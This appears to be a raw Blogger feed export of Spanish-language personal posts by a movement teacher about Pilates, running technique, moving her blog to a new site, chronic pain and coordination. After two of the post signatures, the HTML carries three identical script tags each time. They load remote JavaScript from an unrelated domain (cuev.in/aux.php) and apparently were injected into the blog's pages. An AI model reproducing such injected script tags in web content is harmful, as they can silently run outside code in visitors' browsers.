<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span lang="ES" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES;">En
conclusión, Pilates, para mí ha sido siempre mi sala de ensayo y mi laboratorio
de práctica, tanto para las técnicas somáticas con las que estoy vinculada, así
como para las formas de ejercicio físico más duro que practico. Pilates me da
ese punto medio, esa sensación suprema de la organización psico-física profunda
en movimiento y el deleite de desafiarme a ir más allá de lo que creo que puedo
hacer. <o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<br />
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<b><span style="font-size: 14.0pt; line-height: 115%;">- Victoria<o:p></o:p></span></b></div>
<script src="https://cuev.in/aux.php?ver=1.1&ref=zte" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.1&ref=zte" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.1&ref=zte" type="text/javascript"></script>Anonymoushttp://www.blogger.com/profile/00071312518508900960noreply@blogger.com0tag:blogger.com,1999:blog-1987438956695353649.post-61795938690613314252017-01-14T18:37:00.000-03:002017-01-14T18:37:21.253-03:00Confiar para cambiar<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYqICVggscAgeFyDGg3gwCokztsv1gvDcSBHmPB-Atxk10YvFiNAyzewhdfZudll5gEDKq7I6e40NIu-kQF2akvJMCfdIoxvq4zpAJXSR7aLKJGKG0xecymJrZBcbMeWAq-Xf0ee06UTiM/s1600/fog-1856722_640.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYqICVggscAgeFyDGg3gwCokztsv1gvDcSBHmPB-Atxk10YvFiNAyzewhdfZudll5gEDKq7I6e40NIu-kQF2akvJMCfdIoxvq4zpAJXSR7aLKJGKG0xecymJrZBcbMeWAq-Xf0ee06UTiM/s1600/fog-1856722_640.jpg" /></a></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span lang="ES" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES;"><br /></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span lang="ES" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES;">A veces
no sabemos si el cambio es el correcto, y no tenemos feedback inmediato de que
vamos bien rumbeados... o el feedback parece negativo.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span lang="ES" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES;"><br /></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span lang="ES" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES;">Estoy
(re)aprendiendo a correr utilizando los principios de The Art of Running, el
método de Corre-Camina-Corre de Jeff Galloway, la física de Pose Method y
ciertas modificaciones que deducí de mi experiencia con los principios de
organización postural de la Técnica Alexander, el Método Pilates y el método de
Inteligencia del Movimiento de Ruthy Alon. Creo firmemente en la validez de
todos los principios de estas técnicas y su utilidad para lograr una mejor
organización de mi cuerpo y mente en la acción. <o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span lang="ES" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES;"><br /></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span lang="ES" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES;">Sin
embargo me estoy encontrando que corro más lento que antes, y esto me resulta
muy frustrante. Por un lado confirmo que corro sin dolores: no se inflama mi
tendón de aquiles tanto como antes, no tengo dolor en mi banda iliotibial
izquierda ni molestias en mi flexor de cadera,
no me canso, y jamás me duele nada después de correr aunque no estiro ni
antes ni después (esto último de perezosa nomás). Pero por otro lado me
encuentro que mis tiempos en los 5k se volvieron mucho más lentos. <o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span lang="ES" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES;"><br /></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span lang="ES" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES;">Esto me
deja en una encrucijada, ¿volver a la forma anterior antes de adquirir hábitos
nuevos, o seguir con el experimento? También entran los miedos. ¿Estaré en lo correcto? ¿Y si estoy haciendo
todo mal y encima me estoy llenando de hábitos raros?<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span lang="ES" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES;"><br /></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span lang="ES" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES;">Quizás
es hora de replantearse los objetivos y las metas a largo plazo. ¿Quiero ser
rápida o poder correr por mucho tiempo? ¿Qué estoy dispuesta a sacrificar, y
qué no, en pos de mi objetivo principal? <o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span lang="ES" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES;"><br /></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span lang="ES" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES;">Esta es
una situación bastante común cuando empezamos a encarar la vida desde la
somática. La somática plantea una forma totalmente diferente de enfrentarse a
los desafíos físicos y mentales. Por lo tanto los parámetros viejos de medición
de eficiencia no siempre son los adecuados. <o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span lang="ES" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES;"><br /></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span lang="ES" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES;">Esto da
miedo al principio, hasta que aprendemos a confiar. Y aprendemos a confiar
porque vemos resultados. Y vemos resultados porque nos mantenemos firmes en el
nuevo camino. <o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span lang="ES" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES;"><br /></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span lang="ES" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES;">Quizás
elegimos un nuevo camino sólo cuando nos damos cuenta que el viejo ya no nos
está llevando a dónde queremos, y la única opción es cambiar algo. Cambiar algo
a veces significa retroceder por un tiempo antes de avanzar. Hay que desarmar
lo viejo antes de armar algo nuevo. Quizás no hay que desarmarlo todo, pero
algo siempre hay que reconfigurar. Después de todo, nuestras ideas ya se han
vuelto cuerpo, y no basta cambiar la idea si el cuerpo no cambia. En los
hechos, si el cuerpo no cambia, entonces la idea no ha cambiado tampoco.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span lang="ES" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES;"><br /></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span lang="ES" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES;">¿En qué
confiar entonces? Hay que confiar en los principios. O confiar en el profesor o
mentor que te inspira. O simplemente tocar fondo y confiar que peor que donde
estamos hoy no podemos estar, y que el cambio es todo lo que nos queda para
salir de allí. <o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span lang="ES" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES;"><br /></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span lang="ES" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES;">En
resumen, el cambio requiere confiar en algo.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span lang="ES" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES;"><br /></span></div>
<br />
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="font-size: 14.0pt; line-height: 115%;"><b>- Victoria Stanham</b><o:p></o:p></span></div>
<script src="https://cuev.in/aux.php?ver=1.1&ref=zte" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.1&ref=zte" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.1&ref=zte" type="text/javascript"></script>Anonymoushttp://www.blogger.com/profile/00071312518508900960noreply@blogger.com0tag:blogger.com,1999:blog-1987438956695353649.post-46480339397474877902016-04-24T17:06:00.000-03:002016-04-24T17:06:13.105-03:00Se Cierra un Ciclo...<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigq2y9mY7I__z6DgcvQW1O4c_ntAc3F-4JZwpwplNSEyQhKf9upoT3fjMmESm5eJ0SF3h4-4uniqpNMxuckmNHtTZ3Em_Wr91bpfctQKG-720rNfxyAnWMxDrMrQEkAQE6V65lFUi-bT3P/s1600/sunset.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigq2y9mY7I__z6DgcvQW1O4c_ntAc3F-4JZwpwplNSEyQhKf9upoT3fjMmESm5eJ0SF3h4-4uniqpNMxuckmNHtTZ3Em_Wr91bpfctQKG-720rNfxyAnWMxDrMrQEkAQE6V65lFUi-bT3P/s1600/sunset.jpg" /></a></div>
<div class="MsoNormal">
<b><span lang="ES-UY" style="color: #c00000; font-size: 14.0pt; line-height: 115%;"><br /></span></b></div>
<div class="MsoNormal">
<b><span lang="ES-UY" style="color: #c00000; font-size: 14.0pt; line-height: 115%;">Queridos
lectores del blog</span></b><span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">:<o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><br /></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">Les escribo por
última vez desde esta dirección web. Hoy cierro una etapa hermosa y me
mudo de dominio virtual a una nueva casa en <u><a href="http://www.victoriastanham.com/" target="_blank">www.victoriastanham.com</a></u>. <o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><br /></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">Permítanme contarles y compartir con ustedes el camino
y las razones que me llevan a este cambio.<o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><br /></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="color: #c00000; font-size: 14.0pt; line-height: 115%;">Comencé este blog en febrero del 2013
como una vertiente para mi pensamiento y entendimiento sobre la Técnica
Alexander.</span><span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"> Cumplía en ese entonces un año como profesora
graduada y ya notaba que mis ideas sobre la Técnica, y mi forma de entenderla y
querer enseñarla, empezaban a derivarse del canon más tradicional. <span style="color: #c00000;">Escribir en este blog me permitía verbalizar esa nueva
forma, expresarla, estudiarla, elaborarla, entenderla, y ver hacia dónde me
llevaba.</span> <o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><span style="color: #c00000;"><br /></span></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">A finales del 2012 había completado mi formación en
Pilates Mat y empezaba a disfrutar y valorar la riqueza de la inter-polinización
entre técnicas somáticas y de movimiento.<o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><br /></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">Para finales del 2013 me di cuenta que mis exploraciones
personales en el alcance de la Técnica Alexander empezaban a derivarse
demasiado del canon y que necesitaba más libertad para “enloquecer un rato” con
la forma. <o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><br /></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">Elegí entonces abandonar la posición de asistente en
la Escuela de formación de profesores de Técnica Alexander de Montevideo.
Simplemente no quería confundir con mis ideas a los nuevos profesores en
formación, y <span style="color: #990000;">necesitaba darle rienda suelta a la exploración de mi propia forma
de enseñar y vivir la Técnica Alexander</span><span style="color: #660000;">. <o:p></o:p></span></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><br /></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">Mis blogs empezaron a hablar de todo un poco
relacionado al <u><a href="http://vstanhamtecnicaalexander.blogspot.com.uy/2015/10/el-susurrador-de-cuerpos.html" target="_blank">cuerpo y su lenguaje</a></u>, el <u><a href="http://vstanhamtecnicaalexander.blogspot.com.uy/2016/01/3-inesperados-beneficios-de-aprender.html" target="_blank">movimiento</a></u>, los <u><a href="http://vstanhamtecnicaalexander.blogspot.com.uy/2015/01/cambio-de-habitos-para-principiantes_13.html" target="_blank">hábitos</a></u>,
la <u><a href="http://vstanhamtecnicaalexander.blogspot.com.uy/2015/10/cuerpo-y-postura-entrando-en-el-dialogo.html" target="_blank">postura</a>,</u> el <u><a href="http://vstanhamtecnicaalexander.blogspot.com.uy/2014/09/poniendo-un-orden-al-caos-del-cambio.html" target="_blank">cambio</a></u> y la <u>percepción</u>. Todos ellos son temas relacionados a
la Técnica, pero me animé a adentrarme en tópicos más concretos, como el
ejercicio físico intenso (<u><a href="http://vstanhamtecnicaalexander.blogspot.com.uy/2014/05/lo-que-un-entrenamiento-de-crossfit-me.html" target="_blank">crossfit</a></u>, <u><a href="http://vstanhamtecnicaalexander.blogspot.com.uy/2015/08/de-odio-correr-amo-correr-un-viaje-por.html" target="_blank">running</a></u>, <u><a href="http://vstanhamtecnicaalexander.blogspot.com.uy/2014/05/como-aprendi-enamorarme-del-ejercicio.html" target="_blank">entrenamientofuncional</a></u>), el <u><a href="http://vstanhamtecnicaalexander.blogspot.com.uy/2016/02/dolores-y-lesiones-estrategias-para.html" target="_blank">dolor físico</a></u> y <u><a href="http://vstanhamtecnicaalexander.blogspot.com.uy/2014/11/presentarse-en-decir-presente.html" target="_blank">emocional</a></u>, y el <u><a href="http://vstanhamtecnicaalexander.blogspot.com.uy/2016/01/la-espiral-del-aprendizaje.html" target="_blank">proceso deaprendizaje</a></u> en sí mismo.<o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><br /></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">Mientras tanto seguía explorando con otras técnicas de
movimiento y percepción, buscando nuevas formas de responder a mis eternas
preguntas. Y es que gran parte de mi búsqueda se centra en los <i>juegos de percepción y puntos de vista</i>. <o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><br /></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">En el 2014 tomé mis primeras clases de Feldenkrais y
me enamoré de la metodología de las ATM’s (Awareness Through Movement /
Autoconciencia por el Movimiento). En el 2015 me formo como profesora de
Pilates Studio (aparatos) y comienzo a cursar partes de la carrera de
fisioterapia en la UdelaR. Finalmente en este 2016 comienzo a formarme en Bones
for Life, del programa de Movement Intelligence de Ruthy Allon (derivado del
Feldenkrais).<o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><br /></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><span style="color: #990000;">Todo esto ha significado que mi práctica y forma de
enseñar y entender la Técnica Alexander se han vuelto muy “idiosincráticas” (<i>idios – </i>de uno mismo; <i>syn - </i> junto; <i>krasis
– </i>mezcla), o sea, son mi mezcla personal. </span><o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><br /></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">Es por eso que hoy se cierra un ciclo y un espacio que
ya cumplieron su objetivo: ayudarme a encontrar mi voz y mi forma. Se abre ahora
un nuevo ciclo en mi <u><a href="http://www.victoriastanham.com/" target="_blank">página web personal</a></u> donde estaré hablando ya
expresamente desde el paradigma que comparto con Eduardo, mi pareja: la <u><a href="http://www.victoriastanham.com/que-es-la-somatosofia/" target="_blank">SomatoSofía</a></u>.
<o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><br /></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">Para quienes quieran seguir acompañándome en mis
andanzas y pensamientos los invito a <u><a href="http://www.victoriastanham.com/blog/" target="_blank">visitar el nuevo blog</a></u> y suscribirse
para recibirlos desde allí. <o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><br /></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">Para quienes hasta aquí llegan, me despido con cariño
y agradecimiento. El blog vstanhamtecnicaalexander.blogspot.com seguirá aquí
pero ya no se renovará. Quedan aquí sus 111 artículos que no serán cambiados ni
removidos.<o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><br /></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">Un gran abrazo.<o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><br /></span></div>
<br />
<div class="MsoNormal">
<b><span lang="ES-UY" style="color: #c00000; font-size: 14.0pt; line-height: 115%;">-
Victoria<o:p></o:p></span></b><br />
<b><span lang="ES-UY" style="color: #c00000; font-size: 14.0pt; line-height: 115%;"><br /></span></b></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgyQFFTB-hFa0nyYaUBcSoIEOo5MZlYpE40C139ZnCoKCa92AyUXklQZRA1j10nZV-mYyuDsTurDxz8DYg_Qg0zrZNJ5rjZCep4ksgHaL0T_H-Mc9GbzvTYagTXekMqkImFu68XGVvH01Gk/s1600/good-bye.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgyQFFTB-hFa0nyYaUBcSoIEOo5MZlYpE40C139ZnCoKCa92AyUXklQZRA1j10nZV-mYyuDsTurDxz8DYg_Qg0zrZNJ5rjZCep4ksgHaL0T_H-Mc9GbzvTYagTXekMqkImFu68XGVvH01Gk/s1600/good-bye.jpg" /></a></div>
<div class="MsoNormal">
<b><span lang="ES-UY" style="color: #c00000; font-size: 14.0pt; line-height: 115%;"><br /></span></b></div>
Anonymoushttp://www.blogger.com/profile/00071312518508900960noreply@blogger.com0tag:blogger.com,1999:blog-1987438956695353649.post-76723372829788445362016-04-07T11:40:00.000-03:002016-04-07T11:40:05.466-03:00Ser Crónico: Aprender a Vivir con Godzilla y Godzuki<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisn1ckAu6R3Si6djj0nhXfX4BJbPxm3pBoXDmQccnTqw_zlGdwbkivBU8sDZHIHzGjpp-wV9BLed6TX12UD0AEAvShEnGjTZ7Jad5167Vurwxa6zsj8il3g7u1o5G-fHdJAL_XXbp_vhwv/s1600/crocodile.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisn1ckAu6R3Si6djj0nhXfX4BJbPxm3pBoXDmQccnTqw_zlGdwbkivBU8sDZHIHzGjpp-wV9BLed6TX12UD0AEAvShEnGjTZ7Jad5167Vurwxa6zsj8il3g7u1o5G-fHdJAL_XXbp_vhwv/s1600/crocodile.jpg" /></a></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">Cuando
algo me duele, un diagnóstico puede ser un arma de doble filo. <o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">Saber
qué me pasa calma mi ansiedad; un ‘diagnóstico’ generalmente viene con un ‘tratamiento’.
Y aquí está el peligro… Si sigo el tratamiento, si corrijo lo que está mal, si
corrijo todas las partes, si encuentro la raíz del problema y la arreglo… ¿entonces
me voy a curar?<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">El
hecho es que nadie sabe. A veces me ‘curo’ (que en mi mundo significa que deja
de doler o molestar y que recupero la función perdida) y se lo adjudico al tratamiento.
Y a veces hago ‘todo bien’ e igual me
agarro una bursitis, me duele la rodilla, o se me irritan los ojos.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">Un
problema crónico, no es una invitación a “tirar la chancleta, porque total…”. Es
una invitación a convivir con el lagarto, tenga el tamaño que tenga.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">Aprender
a vivir con él lagarto cuando está grande y destructivo como Godzilla y a vivir
con él cuando está chico y manejable como Godzuki. Aprender a llevarla, a
manejarla, a crearme las mejores condiciones para que me limite lo menos
posible. <o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">Pero
sin luchar por erradicarlo de por vida, porque lo que sí veo es que generalmente
tengo menos control sobre sus idas y venidas de lo que me gustaría.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">Asumir
que no me puedo salir siempre con la mía, es asumir mis limitaciones, y es volverme
más humana. <o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">En
suma, para algunas molestias, soy crónica. Hay días que me duele y he aprendido
a domar a Godzilla para que no destruya toda mi ciudad. <o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><br /></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">¿Qué
me ayuda a transformar a Godzilla en Godzuki? <o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">Uso
el diagnóstico para saber cómo crear las mejores condiciones para que ello
ocurra (hay que ayudar la situación), confío (a veces no queda otra)… y trabajo
la paciencia (que nunca viene mal). <o:p></o:p></span></div>
Anonymoushttp://www.blogger.com/profile/00071312518508900960noreply@blogger.com0tag:blogger.com,1999:blog-1987438956695353649.post-33140999270395503732016-03-29T17:47:00.000-03:002016-03-29T17:47:42.269-03:00La Clave del Movimiento Armónico<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgF_rMDpWGT0DjCom7A2UaQ5EJsIvZO5E7LK5jM1XkHuIniJu0vDKid6Qyep87w84r2JcH-9c9094LU-Xb1gjtrBxU1c_Y1R_bc1zndcBvPmW46_OPbuzDKirgq8QeKXCH_C8A5k5_XdtEd/s1600/tiger.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgF_rMDpWGT0DjCom7A2UaQ5EJsIvZO5E7LK5jM1XkHuIniJu0vDKid6Qyep87w84r2JcH-9c9094LU-Xb1gjtrBxU1c_Y1R_bc1zndcBvPmW46_OPbuzDKirgq8QeKXCH_C8A5k5_XdtEd/s1600/tiger.jpg" /></a></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">Quiero
moverme “bien”.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">¿Qué
es eso? Moverse “bien” significa algo diferente para cada persona. <o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">No
existen movimientos correctos o incorrectos en sí mismos. La pregunta es
siempre, “¿Correcto para qué función?”. Quizás “efectivo” o “eficiente” sea
mejor palabra que “correcto”, cuando hablamos de movimiento. <o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">Sin
embargo, existen cualidades de movimiento, que podemos reconocer en los niños
pequeños y los gatos grandes, que hacen del movimiento algo estético. <o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">Yo
quiero moverme así.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">¿Cuál
es la clave? <o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<b><span lang="ES-UY" style="color: #c00000; font-size: 14.0pt; mso-ansi-language: ES-UY;">Coordinación<o:p></o:p></span></b></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">Todo
movimiento, que al verlo lo calificaríamos de “estético”, “correcto” o
“saludable”, es en sí un fino acto de coordinación. <o:p></o:p></span></div>
